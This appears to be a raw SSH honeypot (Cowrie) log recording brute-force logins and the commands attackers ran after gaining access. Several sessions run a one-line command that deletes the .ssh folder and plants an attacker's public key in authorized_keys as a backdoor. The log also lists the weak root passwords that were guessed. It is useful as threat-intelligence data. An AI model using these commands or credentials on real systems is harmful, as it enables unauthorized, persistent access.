{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:34.502061Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:34.505658Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":55012,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d0a8599332c","protocol":"ssh","message":"New connection: 68.183.236.1:55012 (159.203.135.109:22) [session: 7d0a8599332c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:34.672978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:34.677624Z","src_ip":"68.183.236.1","session":"7d0a8599332c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:34.707206Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:34.916024Z","src_ip":"68.183.236.1","session":"7d0a8599332c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wei","password":"wei","message":"login attempt [wei/wei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:35.898436Z","src_ip":"68.183.236.1","session":"7d0a8599332c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:37.139855Z","src_ip":"68.183.236.1","session":"7d0a8599332c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":46862,"dst_ip":"10.17.0.5","dst_port":22,"session":"f326fbbf9faf","protocol":"ssh","message":"New connection: 163.7.6.74:46862 (10.17.0.5:22) [session: f326fbbf9faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:48.691670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:48.695640Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:48.951401Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1123581321","message":"login attempt [root/1123581321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:50.012639Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:50.560282Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:50.563460Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:50.566136Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:50.825231Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:51.369576Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:51.372751Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:51.632396Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:51.635584Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":46876,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e3ef5395506","protocol":"ssh","message":"New connection: 163.7.6.74:46876 (10.17.0.5:22) [session: 6e3ef5395506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:51.872639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:51.877102Z","src_ip":"163.7.6.74","session":"6e3ef5395506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:52.126413Z","src_ip":"163.7.6.74","session":"6e3ef5395506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:53.157050Z","src_ip":"163.7.6.74","session":"6e3ef5395506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.241.219","src_port":54702,"dst_ip":"10.17.0.5","dst_port":22,"session":"630d308e7f37","protocol":"ssh","message":"New connection: 115.190.241.219:54702 (10.17.0.5:22) [session: 630d308e7f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:53.312364Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:53.317065Z","src_ip":"115.190.241.219","session":"630d308e7f37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:54.408285Z","src_ip":"163.7.6.74","session":"6e3ef5395506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":48714,"dst_ip":"159.203.135.109","dst_port":22,"session":"955cb457f2ca","protocol":"ssh","message":"New connection: 136.248.247.188:48714 (159.203.135.109:22) [session: 955cb457f2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:54.607314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:54.611823Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":33080,"dst_ip":"10.17.0.5","dst_port":22,"session":"669f03766e86","protocol":"ssh","message":"New connection: 163.7.6.74:33080 (10.17.0.5:22) [session: 669f03766e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:54.651036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:54.655104Z","src_ip":"163.7.6.74","session":"669f03766e86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:54.756267Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:54.903774Z","src_ip":"163.7.6.74","session":"669f03766e86","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:55.355391Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:55.672206Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:55.675357Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:55.678800Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:55.825016Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:55.932241Z","src_ip":"163.7.6.74","session":"669f03766e86","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.140599Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.143675Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.183426Z","src_ip":"163.7.6.74","session":"669f03766e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.191666Z","src_ip":"163.7.6.74","session":"f326fbbf9faf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.290636Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.294077Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":45920,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb427ca852f","protocol":"ssh","message":"New connection: 136.248.247.188:45920 (159.203.135.109:22) [session: 6bb427ca852f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.412276Z"}
